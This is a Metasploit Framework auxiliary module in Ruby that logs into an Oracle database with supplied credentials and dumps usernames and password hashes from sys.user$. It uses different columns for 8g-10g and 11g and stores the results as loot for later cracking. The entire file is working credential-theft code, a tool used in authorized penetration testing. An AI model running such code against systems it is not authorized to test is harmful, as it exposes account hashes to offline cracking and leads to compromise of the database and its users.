##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::ORACLE
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner


	def initialize
		super(
			'Name'           => 'Oracle Password Hashdump',
			'Description'    => %Q{
					This module dumps the usernames and password hashes
					from Oracle given the proper Credentials and SID.
					These are then stored as loot for later cracking.
			},
			'Author'         => ['theLightCosine'],
			'License'        => MSF_LICENSE
		)
	end

	def run_host(ip)
		return if not check_dependencies

		#Checks for Version of Oracle, 8g-10g all behave one way, while 11g behaves differently
		#Also, 11g uses SHA-1 while 8g-10g use DES
		is_11g=false
		query =  'select * from v$version'
		ver = prepare_exec(query)

		if ver.nil?
			print_error("An Error has occured, check your OPTIONS")
			return
		end

		unless ver.empty?
			if ver[0].include?('11g')
				is_11g=true
				print_status("Server is running 11g, using newer methods...")
			end
		end

		this_service = report_service(
					:host  => datastore['RHOST'],
					:port => datastore['RPORT'],
					:name => 'oracle',
					:proto => 'tcp'
					)



		tbl = Rex::Ui::Text::Table.new(
			'Header'  => 'Oracle Server Hashes',
			'Indent'   => 1,
			'Columns' => ['Username', 'Hash']
		)

		#Get the usernames and hashes for 8g-10g
		begin
			if is_11g==false
				query='SELECT name, password FROM sys.user$ where password is not null and name<> \'ANONYMOUS\''
				results= prepare_exec(query)
				unless results.empty?
					results.each do |result|
						row= result.split(/,/)
						tbl << row
					end
				end
			#Get the usernames and hashes for 11g
			else
				query='SELECT name, spare4 FROM sys.user$ where password is not null and name<> \'ANONYMOUS\''
				results= prepare_exec(query)
				#print_status("Results: #{results.inspect}")
				unless results.empty?
					results.each do |result|
						row= result.split(/,/)
						row[2] = 'No'
						tbl << row
					end
				end

			end
		rescue => e
			print_error("An error occured. The supplied credentials may not have proper privs")
			return
		end
		print_status("Hash table :\n #{tbl}")
		report_hashes(tbl.to_csv, is_11g, ip, this_service)
	end



	def report_hashes(hash_loot, is_11g, ip, service)
		#reports the hashes slightly differently depending on the version
		#This is so that we know which are which when we go to crack them
		if is_11g==false
			filename= "#{ip}-#{datastore['RPORT']}_oraclehashes.txt"
			store_loot("oracle.hashes", "text/plain", ip, hash_loot, filename, "Oracle Hashes", service)
			print_status("Hash Table has been saved")
		else
			filename= "#{ip}-#{datastore['RPORT']}_oracle11ghashes.txt"
			store_loot("oracle11g.hashes", "text/plain", ip, hash_loot, filename, "Oracle 11g Hashes", service)
			print_status("Hash Table has been saved")
		end
	end




end